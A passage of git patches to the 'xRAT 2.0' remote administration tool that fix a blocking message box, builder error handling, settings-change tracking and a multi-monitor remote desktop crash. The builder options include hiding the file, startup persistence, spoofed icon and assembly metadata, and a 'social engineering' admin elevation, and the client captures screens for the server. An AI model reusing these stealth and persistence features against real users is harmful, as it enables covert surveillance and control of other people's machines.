From 42803078be207e78c7b4259446871abf4ca74918 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Thu, 9 Apr 2015 19:13:05 +0200 Subject: [PATCH 1/6] Fixed blocking MessageBox --- Client/Core/Commands/CommandHandler.cs | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/Client/Core/Commands/CommandHandler.cs b/Client/Core/Commands/CommandHandler.cs index d3c3f437..ec025a99 100644 --- a/Client/Core/Commands/CommandHandler.cs +++ b/Client/Core/Commands/CommandHandler.cs @@ -109,7 +109,7 @@ namespace xClient.Core.Commands if (!destFile.AppendBlock(command.Block, command.CurrentBlock)) { new Packets.ClientPackets.Status(string.Format("Writing failed: {0}", destFile.LastError)).Execute(client); - return; + return; } if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute @@ -470,7 +470,13 @@ namespace xClient.Core.Commands public static void HandleShowMessageBox(Packets.ServerPackets.ShowMessageBox command, Client client) { - MessageBox.Show(null, command.Text, command.Caption, (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), command.MessageboxButton), (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), command.MessageboxIcon)); + new Thread(() => + { + MessageBox.Show(null, command.Text, command.Caption, + (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), command.MessageboxButton), + (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), command.MessageboxIcon)); + }).Start(); + new Packets.ClientPackets.Status("Showed Messagebox").Execute(client); } From bc12b91f15c8b7434230956e30ebbbd162ff2506 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Thu, 9 Apr 2015 19:24:56 +0200 Subject: [PATCH 2/6] Fixed #52 --- Server/Core/Build/ClientBuilder.cs | 11 ++++++++++- Server/Forms/FrmBuilder.cs | 13 ++++++++++++- 2 files changed, 22 insertions(+), 2 deletions(-) diff --git a/Server/Core/Build/ClientBuilder.cs b/Server/Core/Build/ClientBuilder.cs index e20dfede..98a794af 100644 --- a/Server/Core/Build/ClientBuilder.cs +++ b/Server/Core/Build/ClientBuilder.cs @@ -1,4 +1,5 @@ using System; +using System.IO; using Mono.Cecil; using Mono.Cecil.Cil; using Vestris.ResourceLib; @@ -12,7 +13,15 @@ namespace xServer.Core.Build { // PHASE 1 - Settings string encKey = Helper.Helper.GetRandomName(20); - AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin"); + AssemblyDefinition asmDef; + try + { + asmDef = AssemblyDefinition.ReadAssembly("client.bin"); + } + catch (Exception ex) + { + throw new FileLoadException(ex.Message); + } foreach (var typeDef in asmDef.Modules[0].Types) { diff --git a/Server/Forms/FrmBuilder.cs b/Server/Forms/FrmBuilder.cs index bdff72c4..a9f7363a 100644 --- a/Server/Forms/FrmBuilder.cs +++ b/Server/Forms/FrmBuilder.cs @@ -1,4 +1,5 @@ using System; +using System.IO; using System.Text.RegularExpressions; using System.Windows.Forms; using xServer.Core.Build; @@ -242,6 +243,7 @@ namespace xServer.Forms MessageBox.Show("Please enter a valid version number!\nExample: 1.0.0.0", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); return; } + asmInfo = new string[8]; asmInfo[0] = txtProductName.Text; asmInfo[1] = txtDescription.Text; @@ -252,9 +254,18 @@ namespace xServer.Forms asmInfo[6] = txtProductVersion.Text; asmInfo[7] = txtFileVersion.Text; } - ClientBuilder.Build(output, txtHost.Text, txtPassword.Text, txtInstallsub.Text, txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, chkStartup.Checked, chkHide.Checked, int.Parse(txtPort.Text), int.Parse(txtDelay.Text), GetInstallPath(), chkElevation.Checked, icon, asmInfo, Application.ProductVersion); + + ClientBuilder.Build(output, txtHost.Text, txtPassword.Text, txtInstallsub.Text, + txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, + chkStartup.Checked, chkHide.Checked, int.Parse(txtPort.Text), int.Parse(txtDelay.Text), + GetInstallPath(), chkElevation.Checked, icon, asmInfo, Application.ProductVersion); + MessageBox.Show("Successfully built client!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information); } + catch (FileLoadException) + { + MessageBox.Show("Unable to load the Client Assembly Information.\nPlease re-build the Client.", "Error loading Client", MessageBoxButtons.OK, MessageBoxIcon.Error); + } catch (Exception ex) { MessageBox.Show(string.Format("An error occurred!\n\nError Message: {0}\nStack Trace:\n{1}", ex.Message, ex.StackTrace), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); From 95e18abf25dae597f247b33d56ca3aaee83d4293 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Fri, 10 Apr 2015 21:27:33 +0200 Subject: [PATCH 3/6] Fixed #54 --- Server/Forms/FrmBuilder.Designer.cs | 306 +++++++++++++++------------- Server/Forms/FrmBuilder.cs | 120 ++++++++++- 2 files changed, 275 insertions(+), 151 deletions(-) diff --git a/Server/Forms/FrmBuilder.Designer.cs b/Server/Forms/FrmBuilder.Designer.cs index a0e47854..90e899da 100644 --- a/Server/Forms/FrmBuilder.Designer.cs +++ b/Server/Forms/FrmBuilder.Designer.cs @@ -68,23 +68,23 @@ this.btnBuild = new System.Windows.Forms.Button(); this.tooltip = new System.Windows.Forms.ToolTip(this.components); this.groupAsmInfo = new System.Windows.Forms.GroupBox(); - this.lblProductName = new System.Windows.Forms.Label(); - this.txtProductName = new System.Windows.Forms.TextBox(); - this.txtDescription = new System.Windows.Forms.TextBox(); - this.lblDescription = new System.Windows.Forms.Label(); - this.txtCompanyName = new System.Windows.Forms.TextBox(); - this.lblCompanyName = new System.Windows.Forms.Label(); - this.txtCopyright = new System.Windows.Forms.TextBox(); - this.lblCopyright = new System.Windows.Forms.Label(); - this.txtTrademarks = new System.Windows.Forms.TextBox(); - this.lblTrademarks = new System.Windows.Forms.Label(); - this.txtOriginalFilename = new System.Windows.Forms.TextBox(); - this.lblOriginalFilename = new System.Windows.Forms.Label(); - this.txtProductVersion = new System.Windows.Forms.TextBox(); - this.lblProductVersion = new System.Windows.Forms.Label(); + this.chkChangeAsmInfo = new System.Windows.Forms.CheckBox(); this.txtFileVersion = new System.Windows.Forms.TextBox(); this.lblFileVersion = new System.Windows.Forms.Label(); - this.chkChangeAsmInfo = new System.Windows.Forms.CheckBox(); + this.txtProductVersion = new System.Windows.Forms.TextBox(); + this.lblProductVersion = new System.Windows.Forms.Label(); + this.txtOriginalFilename = new System.Windows.Forms.TextBox(); + this.lblOriginalFilename = new System.Windows.Forms.Label(); + this.txtTrademarks = new System.Windows.Forms.TextBox(); + this.lblTrademarks = new System.Windows.Forms.Label(); + this.txtCopyright = new System.Windows.Forms.TextBox(); + this.lblCopyright = new System.Windows.Forms.Label(); + this.txtCompanyName = new System.Windows.Forms.TextBox(); + this.lblCompanyName = new System.Windows.Forms.Label(); + this.txtDescription = new System.Windows.Forms.TextBox(); + this.lblDescription = new System.Windows.Forms.Label(); + this.txtProductName = new System.Windows.Forms.TextBox(); + this.lblProductName = new System.Windows.Forms.Label(); this.groupConnection.SuspendLayout(); this.groupInstall.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit(); @@ -157,6 +157,7 @@ this.txtPassword.PasswordChar = '•'; this.txtPassword.Size = new System.Drawing.Size(201, 22); this.txtPassword.TabIndex = 5; + this.txtPassword.TextChanged += new System.EventHandler(this.txtPassword_TextChanged); // // lblPassword // @@ -174,6 +175,7 @@ this.txtPort.Name = "txtPort"; this.txtPort.Size = new System.Drawing.Size(66, 22); this.txtPort.TabIndex = 3; + this.txtPort.TextChanged += new System.EventHandler(this.txtPort_TextChanged); this.txtPort.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtPort_KeyPress); // // lblPort @@ -191,6 +193,7 @@ this.txtHost.Name = "txtHost"; this.txtHost.Size = new System.Drawing.Size(201, 22); this.txtHost.TabIndex = 1; + this.txtHost.TextChanged += new System.EventHandler(this.txtHost_TextChanged); // // lblHost // @@ -243,6 +246,7 @@ this.chkIconChange.Text = "Change Icon"; this.tooltip.SetToolTip(this.chkIconChange, "Custom social engineering tactic to elevate Admin privileges."); this.chkIconChange.UseVisualStyleBackColor = true; + this.chkIconChange.CheckedChanged += new System.EventHandler(this.chkIconChange_CheckedChanged); // // chkElevation // @@ -254,6 +258,7 @@ this.chkElevation.Text = "Enable Admin Elevation"; this.tooltip.SetToolTip(this.chkElevation, "Custom social engineering tactic to elevate Admin privileges."); this.chkElevation.UseVisualStyleBackColor = true; + this.chkElevation.CheckedChanged += new System.EventHandler(this.chkElevation_CheckedChanged); // // picUAC2 // @@ -309,6 +314,7 @@ this.txtRegistryKeyName.Name = "txtRegistryKeyName"; this.txtRegistryKeyName.Size = new System.Drawing.Size(201, 22); this.txtRegistryKeyName.TabIndex = 18; + this.txtRegistryKeyName.TextChanged += new System.EventHandler(this.txtRegistryKeyName_TextChanged); // // lblRegistryKeyName // @@ -339,6 +345,7 @@ this.chkHide.TabIndex = 15; this.chkHide.Text = "Hide File"; this.chkHide.UseVisualStyleBackColor = true; + this.chkHide.CheckedChanged += new System.EventHandler(this.chkHide_CheckedChanged); // // btnMutex // @@ -415,6 +422,7 @@ this.txtMutex.Name = "txtMutex"; this.txtMutex.Size = new System.Drawing.Size(201, 22); this.txtMutex.TabIndex = 1; + this.txtMutex.TextChanged += new System.EventHandler(this.txtMutex_TextChanged); // // lblMutex // @@ -499,134 +507,6 @@ this.groupAsmInfo.TabStop = false; this.groupAsmInfo.Text = "Assembly Information"; // - // lblProductName - // - this.lblProductName.AutoSize = true; - this.lblProductName.Location = new System.Drawing.Point(22, 43); - this.lblProductName.Name = "lblProductName"; - this.lblProductName.Size = new System.Drawing.Size(82, 13); - this.lblProductName.TabIndex = 1; - this.lblProductName.Text = "Product Name:"; - // - // txtProductName - // - this.txtProductName.Location = new System.Drawing.Point(110, 40); - this.txtProductName.Name = "txtProductName"; - this.txtProductName.Size = new System.Drawing.Size(201, 22); - this.txtProductName.TabIndex = 2; - // - // txtDescription - // - this.txtDescription.Location = new System.Drawing.Point(110, 68); - this.txtDescription.Name = "txtDescription"; - this.txtDescription.Size = new System.Drawing.Size(201, 22); - this.txtDescription.TabIndex = 4; - // - // lblDescription - // - this.lblDescription.AutoSize = true; - this.lblDescription.Location = new System.Drawing.Point(35, 71); - this.lblDescription.Name = "lblDescription"; - this.lblDescription.Size = new System.Drawing.Size(69, 13); - this.lblDescription.TabIndex = 3; - this.lblDescription.Text = "Description:"; - // - // txtCompanyName - // - this.txtCompanyName.Location = new System.Drawing.Point(110, 96); - this.txtCompanyName.Name = "txtCompanyName"; - this.txtCompanyName.Size = new System.Drawing.Size(201, 22); - this.txtCompanyName.TabIndex = 6; - // - // lblCompanyName - // - this.lblCompanyName.AutoSize = true; - this.lblCompanyName.Location = new System.Drawing.Point(14, 99); - this.lblCompanyName.Name = "lblCompanyName"; - this.lblCompanyName.Size = new System.Drawing.Size(90, 13); - this.lblCompanyName.TabIndex = 5; - this.lblCompanyName.Text = "Company Name:"; - // - // txtCopyright - // - this.txtCopyright.Location = new System.Drawing.Point(110, 124); - this.txtCopyright.Name = "txtCopyright"; - this.txtCopyright.Size = new System.Drawing.Size(201, 22); - this.txtCopyright.TabIndex = 8; - // - // lblCopyright - // - this.lblCopyright.AutoSize = true; - this.lblCopyright.Location = new System.Drawing.Point(43, 127); - this.lblCopyright.Name = "lblCopyright"; - this.lblCopyright.Size = new System.Drawing.Size(61, 13); - this.lblCopyright.TabIndex = 7; - this.lblCopyright.Text = "Copyright:"; - // - // txtTrademarks - // - this.txtTrademarks.Location = new System.Drawing.Point(110, 152); - this.txtTrademarks.Name = "txtTrademarks"; - this.txtTrademarks.Size = new System.Drawing.Size(201, 22); - this.txtTrademarks.TabIndex = 10; - // - // lblTrademarks - // - this.lblTrademarks.AutoSize = true; - this.lblTrademarks.Location = new System.Drawing.Point(36, 155); - this.lblTrademarks.Name = "lblTrademarks"; - this.lblTrademarks.Size = new System.Drawing.Size(68, 13); - this.lblTrademarks.TabIndex = 9; - this.lblTrademarks.Text = "Trademarks:"; - // - // txtOriginalFilename - // - this.txtOriginalFilename.Location = new System.Drawing.Point(110, 180); - this.txtOriginalFilename.Name = "txtOriginalFilename"; - this.txtOriginalFilename.Size = new System.Drawing.Size(201, 22); - this.txtOriginalFilename.TabIndex = 12; - // - // lblOriginalFilename - // - this.lblOriginalFilename.AutoSize = true; - this.lblOriginalFilename.Location = new System.Drawing.Point(3, 183); - this.lblOriginalFilename.Name = "lblOriginalFilename"; - this.lblOriginalFilename.Size = new System.Drawing.Size(101, 13); - this.lblOriginalFilename.TabIndex = 11; - this.lblOriginalFilename.Text = "Original Filename:"; - // - // txtProductVersion - // - this.txtProductVersion.Location = new System.Drawing.Point(110, 208); - this.txtProductVersion.Name = "txtProductVersion"; - this.txtProductVersion.Size = new System.Drawing.Size(201, 22); - this.txtProductVersion.TabIndex = 14; - // - // lblProductVersion - // - this.lblProductVersion.AutoSize = true; - this.lblProductVersion.Location = new System.Drawing.Point(12, 211); - this.lblProductVersion.Name = "lblProductVersion"; - this.lblProductVersion.Size = new System.Drawing.Size(92, 13); - this.lblProductVersion.TabIndex = 13; - this.lblProductVersion.Text = "Product Version:"; - // - // txtFileVersion - // - this.txtFileVersion.Location = new System.Drawing.Point(110, 236); - this.txtFileVersion.Name = "txtFileVersion"; - this.txtFileVersion.Size = new System.Drawing.Size(201, 22); - this.txtFileVersion.TabIndex = 16; - // - // lblFileVersion - // - this.lblFileVersion.AutoSize = true; - this.lblFileVersion.Location = new System.Drawing.Point(34, 239); - this.lblFileVersion.Name = "lblFileVersion"; - this.lblFileVersion.Size = new System.Drawing.Size(70, 13); - this.lblFileVersion.TabIndex = 15; - this.lblFileVersion.Text = "File Version:"; - // // chkChangeAsmInfo // this.chkChangeAsmInfo.AutoSize = true; @@ -638,7 +518,143 @@ this.chkChangeAsmInfo.UseVisualStyleBackColor = true; this.chkChangeAsmInfo.CheckedChanged += new System.EventHandler(this.chkChangeAsmInfo_CheckedChanged); // - // frmBuilder + // txtFileVersion + // + this.txtFileVersion.Location = new System.Drawing.Point(110, 236); + this.txtFileVersion.Name = "txtFileVersion"; + this.txtFileVersion.Size = new System.Drawing.Size(201, 22); + this.txtFileVersion.TabIndex = 16; + this.txtFileVersion.TextChanged += new System.EventHandler(this.txtFileVersion_TextChanged); + // + // lblFileVersion + // + this.lblFileVersion.AutoSize = true; + this.lblFileVersion.Location = new System.Drawing.Point(34, 239); + this.lblFileVersion.Name = "lblFileVersion"; + this.lblFileVersion.Size = new System.Drawing.Size(70, 13); + this.lblFileVersion.TabIndex = 15; + this.lblFileVersion.Text = "File Version:"; + // + // txtProductVersion + // + this.txtProductVersion.Location = new System.Drawing.Point(110, 208); + this.txtProductVersion.Name = "txtProductVersion"; + this.txtProductVersion.Size = new System.Drawing.Size(201, 22); + this.txtProductVersion.TabIndex = 14; + this.txtProductVersion.TextChanged += new System.EventHandler(this.txtProductVersion_TextChanged); + // + // lblProductVersion + // + this.lblProductVersion.AutoSize = true; + this.lblProductVersion.Location = new System.Drawing.Point(12, 211); + this.lblProductVersion.Name = "lblProductVersion"; + this.lblProductVersion.Size = new System.Drawing.Size(92, 13); + this.lblProductVersion.TabIndex = 13; + this.lblProductVersion.Text = "Product Version:"; + // + // txtOriginalFilename + // + this.txtOriginalFilename.Location = new System.Drawing.Point(110, 180); + this.txtOriginalFilename.Name = "txtOriginalFilename"; + this.txtOriginalFilename.Size = new System.Drawing.Size(201, 22); + this.txtOriginalFilename.TabIndex = 12; + this.txtOriginalFilename.TextChanged += new System.EventHandler(this.txtOriginalFilename_TextChanged); + // + // lblOriginalFilename + // + this.lblOriginalFilename.AutoSize = true; + this.lblOriginalFilename.Location = new System.Drawing.Point(3, 183); + this.lblOriginalFilename.Name = "lblOriginalFilename"; + this.lblOriginalFilename.Size = new System.Drawing.Size(101, 13); + this.lblOriginalFilename.TabIndex = 11; + this.lblOriginalFilename.Text = "Original Filename:"; + // + // txtTrademarks + // + this.txtTrademarks.Location = new System.Drawing.Point(110, 152); + this.txtTrademarks.Name = "txtTrademarks"; + this.txtTrademarks.Size = new System.Drawing.Size(201, 22); + this.txtTrademarks.TabIndex = 10; + this.txtTrademarks.TextChanged += new System.EventHandler(this.txtTrademarks_TextChanged); + // + // lblTrademarks + // + this.lblTrademarks.AutoSize = true; + this.lblTrademarks.Location = new System.Drawing.Point(36, 155); + this.lblTrademarks.Name = "lblTrademarks"; + this.lblTrademarks.Size = new System.Drawing.Size(68, 13); + this.lblTrademarks.TabIndex = 9; + this.lblTrademarks.Text = "Trademarks:"; + // + // txtCopyright + // + this.txtCopyright.Location = new System.Drawing.Point(110, 124); + this.txtCopyright.Name = "txtCopyright"; + this.txtCopyright.Size = new System.Drawing.Size(201, 22); + this.txtCopyright.TabIndex = 8; + this.txtCopyright.TextChanged += new System.EventHandler(this.txtCopyright_TextChanged); + // + // lblCopyright + // + this.lblCopyright.AutoSize = true; + this.lblCopyright.Location = new System.Drawing.Point(43, 127); + this.lblCopyright.Name = "lblCopyright"; + this.lblCopyright.Size = new System.Drawing.Size(61, 13); + this.lblCopyright.TabIndex = 7; + this.lblCopyright.Text = "Copyright:"; + // + // txtCompanyName + // + this.txtCompanyName.Location = new System.Drawing.Point(110, 96); + this.txtCompanyName.Name = "txtCompanyName"; + this.txtCompanyName.Size = new System.Drawing.Size(201, 22); + this.txtCompanyName.TabIndex = 6; + this.txtCompanyName.TextChanged += new System.EventHandler(this.txtCompanyName_TextChanged); + // + // lblCompanyName + // + this.lblCompanyName.AutoSize = true; + this.lblCompanyName.Location = new System.Drawing.Point(14, 99); + this.lblCompanyName.Name = "lblCompanyName"; + this.lblCompanyName.Size = new System.Drawing.Size(90, 13); + this.lblCompanyName.TabIndex = 5; + this.lblCompanyName.Text = "Company Name:"; + // + // txtDescription + // + this.txtDescription.Location = new System.Drawing.Point(110, 68); + this.txtDescription.Name = "txtDescription"; + this.txtDescription.Size = new System.Drawing.Size(201, 22); + this.txtDescription.TabIndex = 4; + this.txtDescription.TextChanged += new System.EventHandler(this.txtDescription_TextChanged); + // + // lblDescription + // + this.lblDescription.AutoSize = true; + this.lblDescription.Location = new System.Drawing.Point(35, 71); + this.lblDescription.Name = "lblDescription"; + this.lblDescription.Size = new System.Drawing.Size(69, 13); + this.lblDescription.TabIndex = 3; + this.lblDescription.Text = "Description:"; + // + // txtProductName + // + this.txtProductName.Location = new System.Drawing.Point(110, 40); + this.txtProductName.Name = "txtProductName"; + this.txtProductName.Size = new System.Drawing.Size(201, 22); + this.txtProductName.TabIndex = 2; + this.txtProductName.TextChanged += new System.EventHandler(this.txtProductName_TextChanged); + // + // lblProductName + // + this.lblProductName.AutoSize = true; + this.lblProductName.Location = new System.Drawing.Point(22, 43); + this.lblProductName.Name = "lblProductName"; + this.lblProductName.Size = new System.Drawing.Size(82, 13); + this.lblProductName.TabIndex = 1; + this.lblProductName.Text = "Product Name:"; + // + // FrmBuilder // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; @@ -653,7 +669,7 @@ this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.MaximizeBox = false; this.MinimizeBox = false; - this.Name = "frmBuilder"; + this.Name = "FrmBuilder"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "xRAT 2.0 - Builder"; this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmBuilder_FormClosing); diff --git a/Server/Forms/FrmBuilder.cs b/Server/Forms/FrmBuilder.cs index a9f7363a..4a869032 100644 --- a/Server/Forms/FrmBuilder.cs +++ b/Server/Forms/FrmBuilder.cs @@ -10,11 +10,20 @@ namespace xServer.Forms { public partial class FrmBuilder : Form { + private bool _loadedProfile; + private bool _changed; + public FrmBuilder() { InitializeComponent(); } + private void HasChanged() + { + if (_loadedProfile && !_changed) + _changed = true; + } + private void LoadProfile(string profilename) { ProfileManager pm = new ProfileManager(profilename + ".xml"); @@ -41,6 +50,7 @@ namespace xServer.Forms txtOriginalFilename.Text = pm.ReadValue("OriginalFilename"); txtProductVersion.Text = pm.ReadValue("ProductVersion"); txtFileVersion.Text = pm.ReadValue("FileVersion"); + _loadedProfile = true; } private void SaveProfile(string profilename) @@ -96,7 +106,7 @@ namespace xServer.Forms private void FrmBuilder_FormClosing(object sender, FormClosingEventArgs e) { - if (MessageBox.Show("Do you want to save your current settings?", "Save your settings?", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes) + if (_changed && MessageBox.Show("Do you want to save your current settings?", "Save your settings?", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes) { SaveProfile("Default"); } @@ -121,50 +131,64 @@ namespace xServer.Forms private void txtInstallname_KeyPress(object sender, KeyPressEventArgs e) { - string illegal = new string(System.IO.Path.GetInvalidPathChars()) + new string(System.IO.Path.GetInvalidFileNameChars()); + string illegal = new string(Path.GetInvalidPathChars()) + new string(Path.GetInvalidFileNameChars()); if ((e.KeyChar == '\\' || illegal.Contains(e.KeyChar.ToString())) && !char.IsControl(e.KeyChar)) e.Handled = true; } private void txtInstallsub_KeyPress(object sender, KeyPressEventArgs e) { - string illegal = new string(System.IO.Path.GetInvalidPathChars()) + new string(System.IO.Path.GetInvalidFileNameChars()); + string illegal = new string(Path.GetInvalidPathChars()) + new string(Path.GetInvalidFileNameChars()); if ((e.KeyChar == '\\' || illegal.Contains(e.KeyChar.ToString())) && !char.IsControl(e.KeyChar)) e.Handled = true; } private void txtInstallname_TextChanged(object sender, EventArgs e) { + HasChanged(); + RefreshExamplePath(); } private void rbAppdata_CheckedChanged(object sender, EventArgs e) { + HasChanged(); + RefreshExamplePath(); } private void rbProgramFiles_CheckedChanged(object sender, EventArgs e) { + HasChanged(); + RefreshExamplePath(); } private void rbSystem_CheckedChanged(object sender, EventArgs e) { + HasChanged(); + RefreshExamplePath(); } private void txtInstallsub_TextChanged(object sender, EventArgs e) { + HasChanged(); + RefreshExamplePath(); } private void btnMutex_Click(object sender, EventArgs e) { + HasChanged(); + txtMutex.Text = Helper.GetRandomName(32); } private void chkInstall_CheckedChanged(object sender, EventArgs e) { + HasChanged(); + txtInstallname.Enabled = chkInstall.Checked; rbAppdata.Enabled = chkInstall.Checked; rbProgramFiles.Enabled = chkInstall.Checked; @@ -177,11 +201,15 @@ namespace xServer.Forms private void chkStartup_CheckedChanged(object sender, EventArgs e) { + HasChanged(); + txtRegistryKeyName.Enabled = chkStartup.Checked; } private void chkChangeAsmInfo_CheckedChanged(object sender, EventArgs e) { + HasChanged(); + ToggleAsmInfoControls(); } @@ -189,11 +217,11 @@ namespace xServer.Forms { string path = string.Empty; if (rbAppdata.Checked) - path = System.IO.Path.Combine(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), txtInstallsub.Text), txtInstallname.Text); + path = Path.Combine(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), txtInstallsub.Text), txtInstallname.Text); else if (rbProgramFiles.Checked) - path = System.IO.Path.Combine(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), txtInstallsub.Text), txtInstallname.Text); + path = Path.Combine(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), txtInstallsub.Text), txtInstallname.Text); else if (rbSystem.Checked) - path = System.IO.Path.Combine(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), txtInstallsub.Text), txtInstallname.Text); + path = Path.Combine(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), txtInstallsub.Text), txtInstallname.Text); this.Invoke((MethodInvoker)delegate { @@ -318,5 +346,85 @@ namespace xServer.Forms Match match = Regex.Match(input, @"^[0-9]+\.[0-9]+\.(\*|[0-9]+)\.(\*|[0-9]+)$", RegexOptions.IgnoreCase); return match.Success; } + + private void txtHost_TextChanged(object sender, EventArgs e) + { + HasChanged(); + } + + private void txtPort_TextChanged(object sender, EventArgs e) + { + HasChanged(); + } + + private void txtPassword_TextChanged(object sender, EventArgs e) + { + HasChanged(); + } + + private void txtMutex_TextChanged(object sender, EventArgs e) + { + HasChanged(); + } + + private void chkHide_CheckedChanged(object sender, EventArgs e) + { + HasChanged(); + } + + private void txtRegistryKeyName_TextChanged(object sender, EventArgs e) + { + HasChanged(); + } + + private void chkElevation_CheckedChanged(object sender, EventArgs e) + { + HasChanged(); + } + + private void chkIconChange_CheckedChanged(object sender, EventArgs e) + { + HasChanged(); + } + + private void txtProductName_TextChanged(object sender, EventArgs e) + { + HasChanged(); + } + + private void txtDescription_TextChanged(object sender, EventArgs e) + { + HasChanged(); + } + + private void txtCompanyName_TextChanged(object sender, EventArgs e) + { + HasChanged(); + } + + private void txtCopyright_TextChanged(object sender, EventArgs e) + { + HasChanged(); + } + + private void txtTrademarks_TextChanged(object sender, EventArgs e) + { + HasChanged(); + } + + private void txtOriginalFilename_TextChanged(object sender, EventArgs e) + { + HasChanged(); + } + + private void txtProductVersion_TextChanged(object sender, EventArgs e) + { + HasChanged(); + } + + private void txtFileVersion_TextChanged(object sender, EventArgs e) + { + HasChanged(); + } } } From 27cda8f80b0380bb9b3f8b5869ee60963d3bdda6 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 13 Apr 2015 09:16:44 +0200 Subject: [PATCH 4/6] Fixed Remote Desktop crash - Fixed Remote Desktop crash when using multiple monitors with different resolution --- Client/Core/Commands/CommandHandler.cs | 8 ++++---- Client/Core/Helper/UnsafeStreamCodec.cs | 5 ++++- Client/Core/Packets/ClientPackets/DesktopResponse.cs | 6 +++++- Client/Core/Packets/ServerPackets/Desktop.cs | 6 +++--- Server/Core/Commands/CommandHandler.cs | 9 +++++++-- Server/Core/Packets/ClientPackets/DesktopResponse.cs | 6 +++++- Server/Core/Packets/ServerPackets/Desktop.cs | 6 +++--- Server/Core/UserState.cs | 5 ++--- 8 files changed, 33 insertions(+), 18 deletions(-) diff --git a/Client/Core/Commands/CommandHandler.cs b/Client/Core/Commands/CommandHandler.cs index ec025a99..df703255 100644 --- a/Client/Core/Commands/CommandHandler.cs +++ b/Client/Core/Commands/CommandHandler.cs @@ -223,10 +223,10 @@ namespace xClient.Core.Commands public static void HandleRemoteDesktop(Packets.ServerPackets.Desktop command, Client client) { - if (StreamCodec == null || StreamCodec.ImageQuality != command.Quality) - StreamCodec = new UnsafeStreamCodec(command.Quality); + if (StreamCodec == null || StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.Monitor) + StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor); - LastDesktopScreenshot = Helper.Helper.GetDesktop(command.Number); + LastDesktopScreenshot = Helper.Helper.GetDesktop(command.Monitor); BitmapData bmpdata = LastDesktopScreenshot.LockBits( new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), ImageLockMode.ReadWrite, LastDesktopScreenshot.PixelFormat); @@ -237,7 +237,7 @@ namespace xClient.Core.Commands new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), new Size(LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), LastDesktopScreenshot.PixelFormat, stream); - new Packets.ClientPackets.DesktopResponse(stream.ToArray(), StreamCodec.ImageQuality).Execute(client); + new Packets.ClientPackets.DesktopResponse(stream.ToArray(), StreamCodec.ImageQuality, StreamCodec.Monitor).Execute(client); } LastDesktopScreenshot.UnlockBits(bmpdata); diff --git a/Client/Core/Helper/UnsafeStreamCodec.cs b/Client/Core/Helper/UnsafeStreamCodec.cs index 731fc351..df0e17dd 100644 --- a/Client/Core/Helper/UnsafeStreamCodec.cs +++ b/Client/Core/Helper/UnsafeStreamCodec.cs @@ -24,6 +24,8 @@ namespace xClient.Core.Helper } } + public int Monitor { get; private set; } + public Size CheckBlock { get; private set; } private byte[] _encodeBuffer; private Bitmap _decodedBitmap; @@ -49,10 +51,11 @@ namespace xClient.Core.Helper /// Initialize a new object of UnsafeStreamCodec /// /// The quality to use between 0-100 - public UnsafeStreamCodec(int imageQuality = 100) + public UnsafeStreamCodec(int imageQuality, int monitor) { this.CheckBlock = new Size(50, 1); this.ImageQuality = imageQuality; + this.Monitor = monitor; } public unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, PixelFormat format, Stream outStream) diff --git a/Client/Core/Packets/ClientPackets/DesktopResponse.cs b/Client/Core/Packets/ClientPackets/DesktopResponse.cs index f7fbba75..10032e8a 100644 --- a/Client/Core/Packets/ClientPackets/DesktopResponse.cs +++ b/Client/Core/Packets/ClientPackets/DesktopResponse.cs @@ -11,11 +11,15 @@ namespace xClient.Core.Packets.ClientPackets [ProtoMember(2)] public int Quality { get; set; } + [ProtoMember(3)] + public int Monitor { get; set; } + public DesktopResponse() { } - public DesktopResponse(byte[] image, int quality) + public DesktopResponse(byte[] image, int quality, int monitor) { this.Image = image; this.Quality = quality; + this.Monitor = monitor; } public void Execute(Client client) diff --git a/Client/Core/Packets/ServerPackets/Desktop.cs b/Client/Core/Packets/ServerPackets/Desktop.cs index 8ff2790f..f2564723 100644 --- a/Client/Core/Packets/ServerPackets/Desktop.cs +++ b/Client/Core/Packets/ServerPackets/Desktop.cs @@ -9,13 +9,13 @@ namespace xClient.Core.Packets.ServerPackets public int Quality { get; set; } [ProtoMember(2)] - public int Number { get; set; } + public int Monitor { get; set; } public Desktop() { } - public Desktop(int quality, int number) + public Desktop(int quality, int monitor) { this.Quality = quality; - this.Number = number; + this.Monitor = monitor; } public void Execute(Client client) diff --git a/Server/Core/Commands/CommandHandler.cs 